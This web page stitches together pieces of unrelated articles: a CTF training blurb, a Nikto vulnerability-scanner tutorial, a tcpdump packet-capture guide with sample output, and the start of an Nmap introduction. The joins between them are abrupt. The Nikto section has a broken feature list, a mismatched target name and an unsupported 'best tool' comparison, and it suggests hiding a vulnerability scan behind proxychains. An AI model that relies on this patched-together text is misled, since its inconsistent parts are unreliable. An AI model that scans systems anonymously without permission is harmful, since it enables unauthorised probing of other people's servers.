Subscribe To Those YouTube Channels Because you will learn A LOT!! From Checking them out

Train Your Skills

So Lets Say You Have Learned Something and you wanna test it in some how in a "Simulated" Environment Related To The Attack Vectors ... In This Section I will Mention The Main Web Academies And CTFs Online Services To Train, Learn and Have Fun With Skills You Gained

Tryhackme

Tryhack Was and Still One of the most amazing online Acadmies and CTFs Hosted Services

Introduction:

In this post, you will learn what is nikto and how does it work and a full command tutorial and by end of this post, you will be more familiar with the tool.

What is Nikto 🤔

Nikto is a web-based vulnerability scanner, It is open-source software written in Perl language. The primary target of the tools is to do vulnerability scanning.

This tool scans 6,800 vulnerabilities that are commonly available on the sites. The tool also scans 250 platforms from an unpatched site. Also finds some vulnerability in the webserver files. I will use this tool very often, Mostly this tool will be caught in IDS (Intrusion detection sensor) or IPS (Intrusion Prevention sensor).

Also Read: Zenmap full tutorial

There are some alternative tools such as Metasploit, comparing to Metasploit, Nikto is the best tool. Bug bounty hunters use this tool a lot and even hackers use this tool.

Who developed the nikto tool 🔻

The tool was developed by Chris Sullo & David Lodge and I wonder how they kept the logo for this tool. And I am in love with this logo. Below are the links to the tool 👇🏽

Features in nikto tool

1. SSL Support (Unix with OpenSSL or maybe Windows with ActiveState’s

2. Perl/NetSSL)

3. Full HTTP proxy support

4. Checks for outdated server components

5. Save reports in plain text, XML, HTML, NBE or CSV

6. Template engine to easily customize reports

7. Scan multiple ports on a server, or multiple servers via input file (including nmap output)

8. LibWhisker’s IDS encoding techniques

9. Easily updated via command line

10. Identifies installed software via headers, favicons and files

11. Host authentication with Basic and NTLM

12. Subdomain guessing

13. Apache and cgiwrap username enumeration

14. Mutation techniques to “fish” for content on web servers

15. Scan tuning to include or exclude entire classes of vulnerability

16. checks

17. Guess credentials for authorization realms (including many default id/pw combos)

18. Authorization guessing handles any directory, not just the root

19. directory

20. Enhanced false positive reduction via multiple methods: headers,

21. page content, and content hashing

22. Reports “unusual” headers seen

23. Interactive status, pause and changes to verbosity settings

24. Save full request/response for positive tests

25. Replay saved positive requests

26. Maximum execution time per target

27. Auto-pause at a specified time

28. Checks for common “parking” sites

Useful commands in Nikto tool ✔👇

-config+ :Use this config file -Display+ :Turn on/off display outputs -dbcheck : check the database and other key files for syntax errors -Format+ :save file (-o) format -Help : Extended help information -host+ :target host/URL -id+ : Host authentication to use, the format is id: pass or id:pass: realm -output+:Write output to this file -nossl : Disables using SSL -no404 : Disables 404 checks -Plugins+ :List of plugins to run (default: ALL) -port+ :Port to use (default 80) -root+ :Prepend root value to all requests, the format is /directory -ssl : Force SSL mode on port -timeout+ :Timeout for requests (default 10 seconds)

How to work with the Nikto tool ❓

Just follow the below example and I am sure by end of this post you will be familiar with the tool and If you need any additional information on the Nikto tool then watch the YT video at the top.

Example1:

Installing the Nikto tool

sudo apt-get install nikto

Example2:

Let’s do a standard scan in nikto, which is directly scanning the target

nikto -h <IP/domain>

nikto -h example.com

*Sorry about the scan it is nikto.com, you can enter your own target

Example3:

Running a scan on target SSL or TLS

nikto -h example.com -ssl

Example4:

Scanning specific port on nikto

nikto -h example.com -port 80

Example5:

Saving the scan in an output

nikto -h example.com -output /Downloads/file.txt

You can specify the path you want

Example6:

Scanning anonymously using Nikto is very easy just add proxychains in front of the command

proxychains nikto -h example.com 

Example7:

Ignoring certain codes HTTP codes

nikto -h example.com -no404

Example8:

Scanning multiple ports

nikto -h example.com -port 44,80,22

Conclusion:

Some alternatives for Nikto is Arachni, ZAP, searchsploit, Nessus, openVAS and I specifically love this nikto tool and just give it a try to this tool. Overall this is one of the best tools to scan for vulnerabilities and see you in the next post. 🍺

Tcpdump is a command line utility that allows you to capture and analyze network traffic going through your system. It is often used to help troubleshoot network issues, as well as a security tool.

A powerful and versatile tool that includes many options and filters, tcpdump can be used in a variety of cases. Since it's a command line tool, it is ideal to run in remote servers or devices for which a GUI is not available, to collect data that can be analyzed later. It can also be launched in the background or as a scheduled job using tools like cron.

In this article, we'll look at some of tcpdump's most common features.

1. Installation on Linux

Tcpdump is included with several Linux distributions, so chances are, you already have it installed. Check whether tcpdump is installed on your system with the following command:

$ which tcpdump
/usr/sbin/tcpdump

If tcpdump is not installed, you can install it but using your distribution's package manager. For example, on CentOS or Red Hat Enterprise Linux, like this:

$ sudo dnf install -y tcpdump

Tcpdump requires libpcap, which is a library for network packet capture. If it's not installed, it will be automatically added as a dependency.

You're ready to start capturing some packets.

2. Capturing packets with tcpdump

To capture packets for troubleshooting or analysis, tcpdump requires elevated permissions, so in the following examples most commands are prefixed with sudo.

To begin, use the command tcpdump --list-interfaces (or -D for short) to see which interfaces are available for capture:

$ sudo tcpdump -D
1.eth0
2.virbr0
3.eth1
4.any (Pseudo-device that captures on all interfaces)
5.lo [Loopback]

In the example above, you can see all the interfaces available in my machine. The special interface any allows capturing in any active interface.

Let's use it to start capturing some packets. Capture all packets in any interface by running this command:

$ sudo tcpdump --interface any

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes

09:56:18.293641 IP rhel75.localdomain.ssh > 192.168.64.1.56322: Flags [P.], seq 3770820720:3770820916, ack 3503648727, win 309, options [nop,nop,TS val 76577898 ecr 510770929], length 196

09:56:18.293794 IP 192.168.64.1.56322 > rhel75.localdomain.ssh: Flags [.], ack 196, win 391, options [nop,nop,TS val 510771017 ecr 76577898], length 0

09:56:18.295058 IP rhel75.59883 > gateway.domain: 2486+ PTR? 1.64.168.192.in-addr.arpa. (43)

09:56:18.310225 IP gateway.domain > rhel75.59883: 2486 NXDomain* 0/1/0 (102)

09:56:18.312482 IP rhel75.49685 > gateway.domain: 34242+ PTR? 28.64.168.192.in-addr.arpa. (44)

09:56:18.322425 IP gateway.domain > rhel75.49685: 34242 NXDomain* 0/1/0 (103)

09:56:18.323164 IP rhel75.56631 > gateway.domain: 29904+ PTR? 1.122.168.192.in-addr.arpa. (44)

09:56:18.323342 IP rhel75.localdomain.ssh > 192.168.64.1.56322: Flags [P.], seq 196:584, ack 1, win 309, options [nop,nop,TS val 76577928 ecr 510771017], length 388

09:56:18.323563 IP 192.168.64.1.56322 > rhel75.localdomain.ssh: Flags [.], ack 584, win 411, options [nop,nop,TS val 510771047 ecr 76577928], length 0

09:56:18.335569 IP gateway.domain > rhel75.56631: 29904 NXDomain* 0/1/0 (103)

09:56:18.336429 IP rhel75.44007 > gateway.domain: 61677+ PTR? 98.122.168.192.in-addr.arpa. (45)

09:56:18.336655 IP gateway.domain > rhel75.44007: 61677* 1/0/0 PTR rhel75. (65)

09:56:18.337177 IP rhel75.localdomain.ssh > 192.168.64.1.56322: Flags [P.], seq 584:1644, ack 1, win 309, options [nop,nop,TS val 76577942 ecr 510771047], length 1060---- SKIPPING LONG OUTPUT -----
09:56:19.342939 IP 192.168.64.1.56322 > rhel75.localdomain.ssh: Flags [.], ack 1752016, win 1444, options [nop,nop,TS val 510772067 ecr 76578948], length 0

^C
9003 packets captured
9010 packets received by filter
7 packets dropped by kernel

$ 

Tcpdump continues to capture packets until it receives an interrupt signal. You can interrupt capturing by pressing Ctrl+C. As you can see in this example, tcpdump captured more than 9,000 packets. In this case, since I am connected to this server using ssh, tcpdump captured all these packets. To limit the number of packets captured and stop tcpdump, use the -c (for count) option:

$ sudo tcpdump -i any -c 5

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
11:21:30.242740 IP rhel75.localdomain.ssh > 192.168.64.1.56322: Flags [P.], seq 3772575680:3772575876, ack 3503651743, win 309, options [nop,nop,TS val 81689848 ecr 515883153], length 196
11:21:30.242906 IP 192.168.64.1.56322 > rhel75.localdomain.ssh: Flags [.], ack 196, win 1443, options [nop,nop,TS val 515883235 ecr 81689848], length 0
11:21:30.244442 IP rhel75.43634 > gateway.domain: 57680+ PTR? 1.64.168.192.in-addr.arpa. (43)
11:21:30.244829 IP gateway.domain > rhel75.43634: 57680 NXDomain 0/0/0 (43)
11:21:30.247048 IP rhel75.33696 > gateway.domain: 37429+ PTR? 28.64.168.192.in-addr.arpa. (44)
5 packets captured
12 packets received by filter
0 packets dropped by kernel

$ 

In this case, tcpdump stopped capturing automatically after capturing five packets. This is useful in different scenarios—for instance, if you're troubleshooting connectivity and capturing a few initial packets is enough. This is even more useful when we apply filters to capture specific packets (shown below).

By default, tcpdump resolves IP addresses and ports into names, as shown in the previous example. When troubleshooting network issues, it is often easier to use the IP addresses and port numbers; disable name resolution by using the option -n and port resolution with -nn:

$ sudo tcpdump -i any -c5 -nn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
23:56:24.292206 IP 192.168.64.28.22 > 192.168.64.1.35110: Flags [P.], seq 166198580:166198776, ack 2414541257, win 309, options [nop,nop,TS val 615664 ecr 540031155], length 196
23:56:24.292357 IP 192.168.64.1.35110 > 192.168.64.28.22: Flags [.], ack 196, win 1377, options [nop,nop,TS val 540031229 ecr 615664], length 0
23:56:24.292570 IP 192.168.64.28.22 > 192.168.64.1.35110: Flags [P.], seq 196:568, ack 1, win 309, options [nop,nop,TS val 615664 ecr 540031229], length 372
23:56:24.292655 IP 192.168.64.1.35110 > 192.168.64.28.22: Flags [.], ack 568, win 1400, options [nop,nop,TS val 540031229 ecr 615664], length 0
23:56:24.292752 IP 192.168.64.28.22 > 192.168.64.1.35110: Flags [P.], seq 568:908, ack 1, win 309, options [nop,nop,TS val 615664 ecr 540031229], length 340
5 packets captured
6 packets received by filter
0 packets dropped by kernel

As shown above, the capture output now displays the IP addresses and port numbers. This also prevents tcpdump from issuing DNS lookups, which helps to lower network traffic while troubleshooting network issues.

Now that you're able to capture network packets, let's explore what this output means.

3. Understanding the output format

08:41:13.729687 IP 192.168.64.28.22 > 192.168.64.1.41916: Flags [P.], seq 196:568, ack 1, win 309, options [nop,nop,TS val 117964079 ecr 816509256], length 372

The fields may vary depending on the type of packet being sent, but this is the general format.

The first field, 08:41:13.729687, represents the timestamp of the received packet as per the local clock.

Next, IP represents the network layer protocol—in this case, IPv4. For IPv6 packets, the value is IP6.

The next field, 192.168.64.28.22, is the source IP address and port. This is followed by the destination IP address and port, represented by 192.168.64.1.41916.

After the source and destination, you can find the TCP Flags Flags [P.]. Typical values for this field include:

This field can also be a combination of these values, such as [S.] for a SYN-ACK packet.

Next is the sequence number of the data contained in the packet. For the first packet captured, this is an absolute number. Subsequent packets use a relative number to make it easier to follow. In this example, the sequence is seq 196:568, which means this packet contains bytes 196 to 568 of this flow.

This is followed by the Ack Number: ack 1. In this case, it is 1 since this is the side sending data. For the side receiving data, this field represents the next expected byte (data) on this flow. For example, the Ack number for the next packet in this flow would be 568.

Finally, we have the packet length, length 372, which represents the length, in bytes, of the payload data. The length is the difference between the last and first bytes in the sequence number.

Now let's learn how to filter packets to narrow down results and make it easier to troubleshoot specific issues.

4. Filtering packets

As mentioned above, tcpdump can capture too many packets, some of which are not even related to the issue you're troubleshooting. For example, if you're troubleshooting a connectivity issue with a web server you're not interested in the SSH traffic, so removing the SSH packets from the output makes it easier to work on the real issue.

One of tcpdump's most powerful features is its ability to filter the captured packets using a variety of parameters, such as source and destination IP addresses, ports, protocols, etc. Let's look at some of the most common ones.

Protocol

To filter packets based on protocol, specifying the protocol in the command line. For example, capture ICMP packets only by using this command:

$ sudo tcpdump -i any -c5 icmp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes

In a different terminal, try to ping another machine:

$ ping opensource.com

PING opensource.com (54.204.39.132) 56(84) bytes of data.
64 bytes from ec2-54-204-39-132.compute-1.amazonaws.com (54.204.39.132): icmp_seq=1 ttl=47 time=39.6 ms

Back in the tcpdump capture, notice that tcpdump captures and displays only the ICMP-related packets. In this case, tcpdump is not displaying name resolution packets that were generated when resolving the name opensource.com:

09:34:20.136766 IP rhel75 > ec2-54-204-39-132.compute-1.amazonaws.com: ICMP echo request, id 20361, seq 1, length 64

09:34:20.176402 IP ec2-54-204-39-132.compute-1.amazonaws.com > rhel75: ICMP echo reply, id 20361, seq 1, length 64

09:34:21.140230 IP rhel75 > ec2-54-204-39-132.compute-1.amazonaws.com: ICMP echo request, id 20361, seq 2, length 64

09:34:21.180020 IP ec2-54-204-39-132.compute-1.amazonaws.com > rhel75: ICMP echo reply, id 20361, seq 2, length 64

09:34:22.141777 IP rhel75 > ec2-54-204-39-132.compute-1.amazonaws.com: ICMP echo request, id 20361, seq 3, length 64
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Host

Limit capture to only packets related to a specific host by using the host filter:

$ sudo tcpdump -i any -c5 -nn host 54.204.39.132

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes

09:54:20.042023 IP 192.168.122.98.39326 > 54.204.39.132.80: Flags [S], seq 1375157070, win 29200, options [mss 1460,sackOK,TS val 122350391 ecr 0,nop,wscale 7], length 0

09:54:20.088127 IP 54.204.39.132.80 > 192.168.122.98.39326: Flags [S.], seq 1935542841, ack 1375157071, win 28960, options [mss 1460,sackOK,TS val 522713542 ecr 122350391,nop,wscale 9], length 0

09:54:20.088204 IP 192.168.122.98.39326 > 54.204.39.132.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 122350437 ecr 522713542], length 0

09:54:20.088734 IP 192.168.122.98.39326 > 54.204.39.132.80: Flags [P.], seq 1:113, ack 1, win 229, options [nop,nop,TS val 122350438 ecr 522713542], length 112: HTTP: GET / HTTP/1.1

09:54:20.129733 IP 54.204.39.132.80 > 192.168.122.98.39326: Flags [.], ack 113, win 57, options [nop,nop,TS val 522713552 ecr 122350438], length 0
5 packets captured
5 packets received by filter
0 packets dropped by kernel

In this example, tcpdump captures and displays only packets to and from host 54.204.39.132.

Port

To filter packets based on the desired service or port, use the port filter. For example, capture packets related to a web (HTTP) service by using this command:

$ sudo tcpdump -i any -c5 -nn port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes

09:58:28.790548 IP 192.168.122.98.39330 > 54.204.39.132.80: Flags [S], seq 1745665159, win 29200, options [mss 1460,sackOK,TS val 122599140 ecr 0,nop,wscale 7], length 0

09:58:28.834026 IP 54.204.39.132.80 > 192.168.122.98.39330: Flags [S.], seq 4063583040, ack 1745665160, win 28960, options [mss 1460,sackOK,TS val 522775728 ecr 122599140,nop,wscale 9], length 0

09:58:28.834093 IP 192.168.122.98.39330 > 54.204.39.132.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 122599183 ecr 522775728], length 0

09:58:28.834588 IP 192.168.122.98.39330 > 54.204.39.132.80: Flags [P.], seq 1:113, ack 1, win 229, options [nop,nop,TS val 122599184 ecr 522775728], length 112: HTTP: GET / HTTP/1.1

09:58:28.878445 IP 54.204.39.132.80 > 192.168.122.98.39330: Flags [.], ack 113, win 57, options [nop,nop,TS val 522775739 ecr 122599184], length 0
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Source IP/hostname

You can also filter packets based on the source or destination IP Address or hostname. For example, to capture packets from host 192.168.122.98:

$ sudo tcpdump -i any -c5 -nn src 192.168.122.98

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
10:02:15.220824 IP 192.168.122.98.39436 > 192.168.122.1.53: 59332+ A? opensource.com. (32)
10:02:15.220862 IP 192.168.122.98.39436 > 192.168.122.1.53: 20749+ AAAA? opensource.com. (32)
10:02:15.364062 IP 192.168.122.98.39334 > 54.204.39.132.80: Flags [S], seq 1108640533, win 29200, options [mss 1460,sackOK,TS val 122825713 ecr 0,nop,wscale 7], length 0
10:02:15.409229 IP 192.168.122.98.39334 > 54.204.39.132.80: Flags [.], ack 669337581, win 229, options [nop,nop,TS val 122825758 ecr 522832372], length 0
10:02:15.409667 IP 192.168.122.98.39334 > 54.204.39.132.80: Flags [P.], seq 0:112, ack 1, win 229, options [nop,nop,TS val 122825759 ecr 522832372], length 112: HTTP: GET / HTTP/1.1
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Notice that tcpdumps captured packets with source IP address 192.168.122.98 for multiple services such as name resolution (port 53) and HTTP (port 80). The response packets are not displayed since their source IP is different.

Conversely, you can use the dst filter to filter by destination IP/hostname:

$ sudo tcpdump -i any -c5 -nn dst 192.168.122.98

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
10:05:03.572931 IP 192.168.122.1.53 > 192.168.122.98.47049: 2248 1/0/0 A 54.204.39.132 (48)
10:05:03.572944 IP 192.168.122.1.53 > 192.168.122.98.47049: 33770 0/0/0 (32)
10:05:03.621833 IP 54.204.39.132.80 > 192.168.122.98.39338: Flags [S.], seq 3474204576, ack 3256851264, win 28960, options [mss 1460,sackOK,TS val 522874425 ecr 122993922,nop,wscale 9], length 0
10:05:03.667767 IP 54.204.39.132.80 > 192.168.122.98.39338: Flags [.], ack 113, win 57, options [nop,nop,TS val 522874436 ecr 122993972], length 0
10:05:03.672221 IP 54.204.39.132.80 > 192.168.122.98.39338: Flags [P.], seq 1:643, ack 113, win 57, options [nop,nop,TS val 522874437 ecr 122993972], length 642: HTTP: HTTP/1.1 302 Found
5 packets captured
5 packets received by filter
0 packets dropped by kernel

Complex expressions

You can also combine filters by using the logical operators and and or to create more complex expressions. For example, to filter packets from source IP address 192.168.122.98 and service HTTP only, use this command:

$ sudo tcpdump -i any -c5 -nn src 192.168.122.98 and port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
10:08:00.472696 IP 192.168.122.98.39342 > 54.204.39.132.80: Flags [S], seq 2712685325, win 29200, options [mss 1460,sackOK,TS val 123170822 ecr 0,nop,wscale 7], length 0
10:08:00.516118 IP 192.168.122.98.39342 > 54.204.39.132.80: Flags [.], ack 268723504, win 229, options [nop,nop,TS val 123170865 ecr 522918648], length 0
10:08:00.516583 IP 192.168.122.98.39342 > 54.204.39.132.80: Flags [P.], seq 0:112, ack 1, win 229, options [nop,nop,TS val 123170866 ecr 522918648], length 112: HTTP: GET / HTTP/1.1
10:08:00.567044 IP 192.168.122.98.39342 > 54.204.39.132.80: Flags [.], ack 643, win 239, options [nop,nop,TS val 123170916 ecr 522918661], length 0
10:08:00.788153 IP 192.168.122.98.39342 > 54.204.39.132.80: Flags [F.], seq 112, ack 643, win 239, options [nop,nop,TS val 123171137 ecr 522918661], length 0
5 packets captured
5 packets received by filter
0 packets dropped by kernel

You can create more complex expressions by grouping filter with parentheses. In this case, enclose the entire filter expression with quotation marks to prevent the shell from confusing them with shell expressions:

$ sudo tcpdump -i any -c5 -nn "port 80 and (src 192.168.122.98 or src 54.204.39.132)"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
10:10:37.602214 IP 192.168.122.98.39346 > 54.204.39.132.80: Flags [S], seq 871108679, win 29200, options [mss 1460,sackOK,TS val 123327951 ecr 0,nop,wscale 7], length 0
10:10:37.650651 IP 54.204.39.132.80 > 192.168.122.98.39346: Flags [S.], seq 854753193, ack 871108680, win 28960, options [mss 1460,sackOK,TS val 522957932 ecr 123327951,nop,wscale 9], length 0
10:10:37.650708 IP 192.168.122.98.39346 > 54.204.39.132.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 123328000 ecr 522957932], length 0
10:10:37.651097 IP 192.168.122.98.39346 > 54.204.39.132.80: Flags [P.], seq 1:113, ack 1, win 229, options [nop,nop,TS val 123328000 ecr 522957932], length 112: HTTP: GET / HTTP/1.1
10:10:37.692900 IP 54.204.39.132.80 > 192.168.122.98.39346: Flags [.], ack 113, win 57, options [nop,nop,TS val 522957942 ecr 123328000], length 0
5 packets captured
5 packets received by filter
0 packets dropped by kernel

In this example, we're filtering packets for HTTP service only (port 80) and source IP addresses 192.168.122.98 or 54.204.39.132. This is a quick way of examining both sides of the same flow.

5. Checking packet content

In the previous examples, we're checking only the packets' headers for information such as source, destinations, ports, etc. Sometimes this is all we need to troubleshoot network connectivity issues. Sometimes, however, we need to inspect the content of the packet to ensure that the message we're sending contains what we need or that we received the expected response. To see the packet content, tcpdump provides two additional flags: -X to print content in hex, and ASCII or -A to print the content in ASCII.

For example, inspect the HTTP content of a web request like this:

$ sudo tcpdump -i any -c10 -nn -A port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
13:02:14.871803 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [S], seq 2546602048, win 29200, options [mss 1460,sackOK,TS val 133625221 ecr 0,nop,wscale 7], length 0

E..<..@.@.....zb6.'....P...@......r............

............................

13:02:14.910734 IP 54.204.39.132.80 > 192.168.122.98.39366: Flags [S.], seq 1877348646, ack 2546602049, win 28960, options [mss 1460,sackOK,TS val 525532247 ecr 133625221,nop,wscale 9], length 0

E..<..@./..a6.'...zb.P..o..&...A..q a..........

.R.W.......     ................
13:02:14.910832 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 133625260 ecr 525532247], length 0

E..4..@.@.....zb6.'....P...Ao..'...........

.....R.W................
13:02:14.911808 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [P.], seq 1:113, ack 1, win 229, options [nop,nop,TS val 133625261 ecr 525532247], length 112: HTTP: GET / HTTP/1.1

E.....@.@..1..zb6.'....P...Ao..'...........

.....R.WGET / HTTP/1.1

User-Agent: Wget/1.14 (linux-gnu)

Accept: */*

Host: opensource.com

Connection: Keep-Alive
................
13:02:14.951199 IP 54.204.39.132.80 > 192.168.122.98.39366: Flags [.], ack 113, win 57, options [nop,nop,TS val 525532257 ecr 133625261], length 0

E..4.F@./.."6.'...zb.P..o..'.......9.2.....

.R.a....................

13:02:14.955030 IP 54.204.39.132.80 > 192.168.122.98.39366: Flags [P.], seq 1:643, ack 113, win 57, options [nop,nop,TS val 525532258 ecr 133625261], length 642: HTTP: HTTP/1.1 302 Found

E....G@./...6.'...zb.P..o..'.......9.......

.R.b....HTTP/1.1 302 Found

Server: nginx

Date: Sun, 23 Sep 2018 17:02:14 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 207

X-Content-Type-Options: nosniff

Location: https://opensource.com/

Cache-Control: max-age=1209600

Expires: Sun, 07 Oct 2018 17:02:14 GMT

X-Request-ID: v-6baa3acc-bf52-11e8-9195-22000ab8cf2d

X-Varnish: 632951979

Age: 0

Via: 1.1 varnish (Varnish/5.2)

X-Cache: MISS

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>302 Found</title>

</head><body>

<h1>Found</h1>

<p>The document has moved <a href="https://opensource.com/%3C/span%3Ehttps%3A%3Cspan%20class%3D"sy0">//opensource.com/">here</a>.</p>

</body></html>

................

13:02:14.955083 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [.], ack 643, win 239, options [nop,nop,TS val 133625304 ecr 525532258], length 0

E..4..@.@.....zb6.'....P....o..............

.....R.b................

13:02:15.195524 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [F.], seq 113, ack 643, win 239, options [nop,nop,TS val 133625545 ecr 525532258], length 0

E..4..@.@.....zb6.'....P....o..............

.....R.b................

13:02:15.236592 IP 54.204.39.132.80 > 192.168.122.98.39366: Flags [F.], seq 643, ack 114, win 57, options [nop,nop,TS val 525532329 ecr 133625545], length 0

E..4.H@./.. 6.'...zb.P..o..........9.I.....

.R......................

13:02:15.236656 IP 192.168.122.98.39366 > 54.204.39.132.80: Flags [.], ack 644, win 239, options [nop,nop,TS val 133625586 ecr 525532329], length 0

E..4..@.@.....zb6.'....P....o..............

.....R..................

10 packets captured

10 packets received by filter

0 packets dropped by kernel

This is helpful for troubleshooting issues with API calls, assuming the calls are using plain HTTP. For encrypted connections, this output is less useful.

6. Saving captures to a file

Another useful feature provided by tcpdump is the ability to save the capture to a file so you can analyze the results later. This allows you to capture packets in batch mode overnight, for example, and verify the results in the morning. It also helps when there are too many packets to analyze since real-time capture can occur too fast.

To save packets to a file instead of displaying them on screen, use the option -w (for write):

$ sudo tcpdump -i any -c10 -nn -w webserver.pcap port 80
[sudo] password for ricardo: 

tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
10 packets captured
10 packets received by filter
0 packets dropped by kernel

This command saves the output in a file named webserver.pcap. The .pcap extension stands for "packet capture" and is the convention for this file format.

As shown in this example, nothing gets displayed on-screen, and the capture finishes after capturing 10 packets, as per the option -c10. If you want some feedback to ensure packets are being captured, use the option -v.

Tcpdump creates a file in binary format so you cannot simply open it with a text editor. To read the contents of the file, execute tcpdump with the -r (for read) option:

$ tcpdump -nn -r webserver.pcap

reading from file webserver.pcap, link-type LINUX_SLL (Linux cooked)
13:36:57.679494 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [S], seq 3709732619, win 29200, options [mss 1460,sackOK,TS val 135708029 ecr 0,nop,wscale 7], length 0
13:36:57.718932 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [S.], seq 1999298316, ack 3709732620, win 28960, options [mss 1460,sackOK,TS val 526052949 ecr 135708029,nop,wscale 9], length 0
13:36:57.719005 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 135708068 ecr 526052949], length 0
13:36:57.719186 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [P.], seq 1:113, ack 1, win 229, options [nop,nop,TS val 135708068 ecr 526052949], length 112: HTTP: GET / HTTP/1.1
13:36:57.756979 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [.], ack 113, win 57, options [nop,nop,TS val 526052959 ecr 135708068], length 0
13:36:57.760122 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [P.], seq 1:643, ack 113, win 57, options [nop,nop,TS val 526052959 ecr 135708068], length 642: HTTP: HTTP/1.1 302 Found
13:36:57.760182 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [.], ack 643, win 239, options [nop,nop,TS val 135708109 ecr 526052959], length 0
13:36:57.977602 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [F.], seq 113, ack 643, win 239, options [nop,nop,TS val 135708327 ecr 526052959], length 0
13:36:58.022089 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [F.], seq 643, ack 114, win 57, options [nop,nop,TS val 526053025 ecr 135708327], length 0
13:36:58.022132 IP 192.168.122.98.39378 > 54.204.39.132.80: Flags [.], ack 644, win 239, options [nop,nop,TS val 135708371 ecr 526053025], length 0

$ 

Since you're no longer capturing the packets directly from the network interface, sudo is not required to read the file.

You can also use any of the filters we've discussed to filter the content from the file, just as you would with real-time data. For example, inspect the packets in the capture file from source IP address 54.204.39.132 by executing this command:

$ tcpdump -nn -r webserver.pcap src 54.204.39.132

reading from file webserver.pcap, link-type LINUX_SLL (Linux cooked)
13:36:57.718932 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [S.], seq 1999298316, ack 3709732620, win 28960, options [mss 1460,sackOK,TS val 526052949 ecr 135708029,nop,wscale 9], length 0
13:36:57.756979 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [.], ack 113, win 57, options [nop,nop,TS val 526052959 ecr 135708068], length 0
13:36:57.760122 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [P.], seq 1:643, ack 113, win 57, options [nop,nop,TS val 526052959 ecr 135708068], length 642: HTTP: HTTP/1.1 302 Found
13:36:58.022089 IP 54.204.39.132.80 > 192.168.122.98.39378: Flags [F.], seq 643, ack 114, win 57, options [nop,nop,TS val 526053025 ecr 135708327], length 0

What's next?

One benefit of Wireshark is that it can read .pcap files captured by tcpdump. You can use tcpdump to capture packets in a remote machine that does not have a GUI and analyze the result file with Wireshark, but that is a topic for another day.

Nmap (or “network mapper”) is one of the most popular free network discovery tools on the market. In this guide we show you how Nmap works and how to use it.

What is Nmap?

Nmap (or “network mapper”) is one of the most popular free network discovery tools on the market. Over the past decade or so the program has emerged as a core program for network administrators looking to map out their networks and conduct extensive network inventories. It allows the user to find live hosts on their network systems and scan for open ports and operating systems. In this guide, you will learn how to install and use Nmap.

Nmap runs centered around a command line similar to Windows Command Prompt, but a GUI interface is available for more experienced users. When using Nmap scanning, the user simply enters commands and runs scripts via the text-driven interface. They can navigate through firewalls, routers, IP filters, and other systems. At its core, Nmap was designed for enterprise-scale networks and can scan through thousands of connected devices.

Some of Nmap’s main uses include port scanning, ping sweeps, OS detection, and version detection. The program works by using IP packets to identify available hosts on a network as well as what services and operating systems they run. Nmap is available on many different operating systems from Linux to Free BSD and Gentoo. Nmap also has an extremely active and vibrant user support community. In this article, we break down the fundamentals of Nmap to help you hit the ground running.

Network Analysis and Packet Sniffing with Nmap

Network analyzers like Nmap are essential to network security for several reasons. They can identify attackers and test for vulnerabilities within a network. When it comes to cybersecurity, the more you know about your packet traffic, the better prepared you are for an attack. Actively scanning your network is the only way to ensure that you stay prepared for potential attacks.

As a network analyzer or packet sniffer, Nmap is extremely versatile. For example, it allows the user to scan any IP active on their network. If you spot an IP you haven’t seen before, you can run an IP scan to identify whether it is a legitimate service or an outside attack.

Nmap is the go-to network analyzer for many administrators because it offers a wide range of functions for free.

Nmap Use Cases

For example, you can use Nmap to:

• Identify live hosts on your network

• Identify open ports on your network

• Identify the operating system of services on your network

• Address vulnerabilities in your network infrastructure

How to Install Nmap

Install Nmap on Windows

